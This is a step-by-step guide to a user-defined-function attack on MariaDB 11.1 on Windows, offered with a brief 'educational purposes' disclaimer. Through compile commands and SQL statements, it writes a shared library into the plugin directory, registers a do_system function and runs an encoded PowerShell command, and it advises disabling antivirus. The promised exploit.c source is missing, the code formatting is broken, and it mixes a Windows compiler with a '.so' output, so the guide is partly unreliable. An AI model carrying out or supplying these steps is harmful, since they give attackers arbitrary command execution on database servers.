Exploit Reproduction Guide (affected product version MariaDB 11.1)

This guide provides step-by-step instructions to reproduce a User-Defined Function (UDF) attack on a database system. Please note that this exploit may work on some systems, but it might not function correctly on 64-bit architectures or certain builds.

Warning: This is for educational purposes only. Unauthorized use of these techniques is illegal and unethical.

Steps to Reproduce the Attack

1. Download and Prepare the UDF Code

First, create a file named exploit.c and add the following code:

### 2. Compile the UDF Code

Compile the exploit code using the `x86_64-w64-mingw32-gcc` compiler:

```bash
x86_64-w64-mingw32-gcc -g -c exploit.c

3. Create a Shared Object File

Generate a shared object file (exploit.so) from the compiled object file:

x86_64-w64-mingw32-gcc -g -shared -Wl,-soname,exploit.so -o exploit.so exploit.o

4. Convert the Shared Object File to Hexadecimal

Use xxd to convert the .so file to a hexadecimal format:

xxd -p exploit.so | tr -d '\n' > hex_value.txt

5. Load the Hexadecimal Value into the Database

Copy the hexadecimal value from hex_value.txt and execute the following command in your database:

DB> set @shell = 0x<hex_value>;

6. Determine the Plugin Directory and Deploy the Exploit

Find the plugin directory by running:

DB> select @@plugin_dir;

Then, create the exploit shared object in the plugin directory:

DB> select binary @shell into dumpfile 'C:\\Program Files\\MariaDB 11.1\\lib\\plugin\\exploit.so';

Note: Adjust the path according to your system's configuration or the specific plugin directory.

7. Create the Malicious Function

Create a new function in the database using the exploit:

DB> create function do_system returns integer soname 'exploit.so';

8. Execute the Exploit

Disable any antivirus or Windows Defender that might block the exploit. Then, run a command using the newly created function:

DB> select do_system('powershell base64 here');

Replace 'powershell base64 here' with the base64 encoded payload of the command you wish to execute.
